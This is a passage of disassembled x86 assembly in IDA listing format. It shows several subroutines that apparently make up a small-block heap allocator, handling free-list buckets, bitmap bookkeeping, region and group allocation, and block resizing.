		jnz	short loc_41DF5A
		cmp	edx, 20h
		jnb	short loc_41DF31
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41DF52
; ---------------------------------------------------------------------------

loc_41DF31:				; CODE XREF: sub_41DEA2+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41DF52:				; CODE XREF: sub_41DEA2+86j
					; sub_41DEA2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41DF5D
; ---------------------------------------------------------------------------

loc_41DF5A:				; CODE XREF: sub_41DEA2+6Aj
		mov	ecx, [ebp+var_4]

loc_41DF5D:				; CODE XREF: sub_41DEA2+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx

loc_41DF78:				; CODE XREF: sub_41DEA2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF86
		push	3Fh
		pop	edx

loc_41DF86:				; CODE XREF: sub_41DEA2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E029
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41DFAB
		mov	ebx, esi

loc_41DFAB:				; CODE XREF: sub_41DEA2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41DFBD
		mov	edx, esi

loc_41DFBD:				; CODE XREF: sub_41DEA2+117j
		cmp	ebx, edx
		jz	short loc_41E024
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E00C
		cmp	ebx, 20h
		jnb	short loc_41DFED
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E00C
; ---------------------------------------------------------------------------

loc_41DFED:				; CODE XREF: sub_41DEA2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi

loc_41E00C:				; CODE XREF: sub_41DEA2+128j
					; sub_41DEA2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx

loc_41E024:				; CODE XREF: sub_41DEA2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------

loc_41E029:				; CODE XREF: sub_41DEA2+EDj
		mov	ebx, [ebp+arg_0]

loc_41E02C:				; CODE XREF: sub_41DEA2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E03A
		cmp	ebx, edx
		jz	loc_41E0BB

loc_41E03A:				; CODE XREF: sub_41DEA2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E0BB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E092
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E081
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41E081:				; CODE XREF: sub_41DEA2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E0BB
; ---------------------------------------------------------------------------

loc_41E092:				; CODE XREF: sub_41DEA2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E0A8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41E0A8:				; CODE XREF: sub_41DEA2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx

loc_41E0BB:				; CODE XREF: sub_41DEA2+192j
					; sub_41DEA2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E1C6
		mov	eax, dword_4DC934
		test	eax, eax
		jz	loc_41E1B8
		mov	ecx, dword_4DC92C
		mov	esi, dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DC92C
		mov	eax, dword_4DC934
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DC934
		mov	ecx, dword_4DC92C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DC934
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DC934
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E149
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DC934

loc_41E149:				; CODE XREF: sub_41DEA2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E1B8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DC934
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DC944
		nop
		call	near ptr 2780000h
		mov	eax, dword_4DC938
		mov	edx, dword_4DC93C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DC934
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41CC90
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DC938
		cmp	eax, dword_4DC934
		jbe	short loc_41E1AE
		sub	[ebp+arg_0], 14h

loc_41E1AE:				; CODE XREF: sub_41DEA2+306j
		mov	eax, dword_4DC93C
		mov	dword_4DC930, eax

loc_41E1B8:				; CODE XREF: sub_41DEA2+234j
					; sub_41DEA2+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DC92C, edi
		mov	dword_4DC934, eax

loc_41E1C6:				; CODE XREF: sub_41DEA2+38j
					; sub_41DEA2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1CB	proc near		; CODE XREF: sub_41B202+77p
					; sub_41B513+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DC938
		mov	edx, dword_4DC93C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E20B
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E21B
; ---------------------------------------------------------------------------

loc_41E20B:				; CODE XREF: sub_41E1CB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax

loc_41E21B:				; CODE XREF: sub_41E1CB+3Ej
		mov	eax, dword_4DC930
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E242

loc_41E229:				; CODE XREF: sub_41E1CB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E242
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E229

loc_41E242:				; CODE XREF: sub_41E1CB+5Cj
					; sub_41E1CB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E2C0
		mov	ebx, edx

loc_41E249:				; CODE XREF: sub_41E1CB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E265
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E263
		add	ebx, 14h
		jmp	short loc_41E249
; ---------------------------------------------------------------------------

loc_41E263:				; CODE XREF: sub_41E1CB+91j
		cmp	ebx, eax

loc_41E265:				; CODE XREF: sub_41E1CB+83j
		jnz	short loc_41E2C0

loc_41E267:				; CODE XREF: sub_41E1CB+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E27D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E27A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E267
; ---------------------------------------------------------------------------

loc_41E27A:				; CODE XREF: sub_41E1CB+A5j
		cmp	ebx, [ebp+var_4]

loc_41E27D:				; CODE XREF: sub_41E1CB+9Fj
		jnz	short loc_41E2A5
		mov	ebx, edx

loc_41E281:				; CODE XREF: sub_41E1CB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E295
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E293
		add	ebx, 14h
		jmp	short loc_41E281
; ---------------------------------------------------------------------------

loc_41E293:				; CODE XREF: sub_41E1CB+C1j
		cmp	ebx, eax

loc_41E295:				; CODE XREF: sub_41E1CB+BBj
		jnz	short loc_41E2A5
		call	sub_41E4D4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E2B9

loc_41E2A5:				; CODE XREF: sub_41E1CB:loc_41E27Dj
					; sub_41E1CB:loc_41E295j
		push	ebx
		call	sub_41E585
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E2C0

loc_41E2B9:				; CODE XREF: sub_41E1CB+D8j
		xor	eax, eax
		jmp	loc_41E4CF
; ---------------------------------------------------------------------------

loc_41E2C0:				; CODE XREF: sub_41E1CB+7Aj
					; sub_41E1CB:loc_41E265j ...
		mov	dword_4DC930, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E2E7
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E31E

loc_41E2E7:				; CODE XREF: sub_41E1CB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E31B

loc_41E304:				; CODE XREF: sub_41E1CB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E304

loc_41E31B:				; CODE XREF: sub_41E1CB+137j
		mov	edx, [ebp+var_4]

loc_41E31E:				; CODE XREF: sub_41E1CB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E347
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi

loc_41E347:				; CODE XREF: sub_41E1CB+16Dj
					; sub_41E1CB+183j
		test	ecx, ecx
		jl	short loc_41E350
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E347
; ---------------------------------------------------------------------------

loc_41E350:				; CODE XREF: sub_41E1CB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E36D
		push	3Fh
		pop	esi

loc_41E36D:				; CODE XREF: sub_41E1CB+19Dj
		cmp	esi, edi
		jz	loc_41E482
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E3DE
		cmp	edi, 20h
		jge	short loc_41E3AD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------

loc_41E3AD:				; CODE XREF: sub_41E1CB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------

loc_41E3DB:				; CODE XREF: sub_41E1CB+1D6j
					; sub_41E1CB+203j
		mov	ebx, [ebp+arg_0]

loc_41E3DE:				; CODE XREF: sub_41E1CB+1B0j
					; sub_41E1CB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E48E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E47F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E450
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E43E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi

loc_41E43E:				; CODE XREF: sub_41E1CB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E47F
; ---------------------------------------------------------------------------

loc_41E450:				; CODE XREF: sub_41E1CB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E469
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi

loc_41E469:				; CODE XREF: sub_41E1CB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi

loc_41E47F:				; CODE XREF: sub_41E1CB+24Ej
					; sub_41E1CB+283j
		mov	ecx, [ebp+var_8]

loc_41E482:				; CODE XREF: sub_41E1CB+1A4j
		test	ecx, ecx
		jz	short loc_41E491
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E491
; ---------------------------------------------------------------------------

loc_41E48E:				; CODE XREF: sub_41E1CB+229j
		mov	ecx, [ebp+var_8]

loc_41E491:				; CODE XREF: sub_41E1CB+2B9j
					; sub_41E1CB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E4C7
		cmp	ebx, dword_4DC934
		jnz	short loc_41E4C7
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DC92C
		jnz	short loc_41E4C7
		and	dword_4DC934, 0

loc_41E4C7:				; CODE XREF: sub_41E1CB+2E0j
					; sub_41E1CB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]

loc_41E4CF:				; CODE XREF: sub_41E1CB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E1CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4D4	proc near		; CODE XREF: sub_41E1CB+CCp
		mov	eax, dword_4DC938
		mov	ecx, dword_4DC928
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41E517
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DC93C
		push	edi
		push	dword_4DC944
		nop
		call	near ptr 2830000h
		cmp	eax, edi
		jz	short loc_41E567
		add	dword_4DC928, 10h
		mov	dword_4DC93C, eax
		mov	eax, dword_4DC938

loc_41E517:				; CODE XREF: sub_41E4D4+11j
		mov	ecx, dword_4DC93C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DC944
		lea	esi, [ecx+eax*4]
		call	near ptr 2790000h
		nop
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41E567
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 28907A3h
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41E56B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DC944
		call	near ptr 2780000h
		nop

loc_41E567:				; CODE XREF: sub_41E4D4+30j
					; sub_41E4D4+67j
		xor	eax, eax
		jmp	short loc_41E582
; ---------------------------------------------------------------------------

loc_41E56B:				; CODE XREF: sub_41E4D4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DC938
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi

loc_41E582:				; CODE XREF: sub_41E4D4+95j
		pop	edi
		pop	esi
		retn
sub_41E4D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E585	proc near		; CODE XREF: sub_41E1CB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx

loc_41E597:				; CODE XREF: sub_41E585+19j
		test	eax, eax
		jl	short loc_41E5A0
		shl	eax, 1
		inc	ebx
		jmp	short loc_41E597
; ---------------------------------------------------------------------------

loc_41E5A0:				; CODE XREF: sub_41E585+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax

loc_41E5B5:				; CODE XREF: sub_41E585+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41E5B5
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 28907A3h
		test	eax, eax
		jnz	short loc_41E5E8
		or	eax, 0FFFFFFFFh
		jmp	loc_41E67B
; ---------------------------------------------------------------------------

loc_41E5E8:				; CODE XREF: sub_41E585+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41E62E
		lea	eax, [edi+10h]

loc_41E5F5:				; CODE XREF: sub_41E585+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41E5F5

loc_41E62E:				; CODE XREF: sub_41E585+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41E66B
		or	[eax+4], edi

loc_41E66B:				; CODE XREF: sub_41E585+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx

loc_41E67B:				; CODE XREF: sub_41E585+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E680	proc near		; CODE XREF: sub_41B202+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41E82E
		test	bl, 1
		jnz	loc_41E827
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41E827
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41E6F7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx

loc_41E6F7:				; CODE XREF: sub_41E680+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41E747
		cmp	ecx, 20h
		jnb	short loc_41E723
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E747
; ---------------------------------------------------------------------------

loc_41E723:				; CODE XREF: sub_41E680+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41E747:				; CODE XREF: sub_41E680+7Dj
					; sub_41E680+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41E815
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41E781
		push	3Fh
		pop	edi

loc_41E781:				; CODE XREF: sub_41E680+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41E803
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E7DA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7CD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41E7CD:				; CODE XREF: sub_41E680+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41E7FF
; ---------------------------------------------------------------------------

loc_41E7DA:				; CODE XREF: sub_41E680+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7F0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41E7F0:				; CODE XREF: sub_41E680+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h

loc_41E7FF:				; CODE XREF: sub_41E680+158j
		shr	edx, cl
		or	[eax], edx

loc_41E803:				; CODE XREF: sub_41E680+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41E818
; ---------------------------------------------------------------------------

loc_41E815:				; CODE XREF: sub_41E680+E5j
		mov	edx, [ebp+arg_4]

loc_41E818:				; CODE XREF: sub_41E680+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41E96E
; ---------------------------------------------------------------------------

loc_41E827:				; CODE XREF: sub_41E680+52j
					; sub_41E680+5Cj
		xor	eax, eax
		jmp	loc_41E971
; ---------------------------------------------------------------------------

loc_41E82E:				; CODE XREF: sub_41E680+49j
		jge	loc_41E96E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41E859
		push	3Fh
		pop	esi

loc_41E859:				; CODE XREF: sub_41E680+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41E8E8
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E872
		push	3Fh
		pop	esi

loc_41E872:				; CODE XREF: sub_41E680+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41E8C1
		cmp	esi, 20h
		jnb	short loc_41E89D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41E8BE
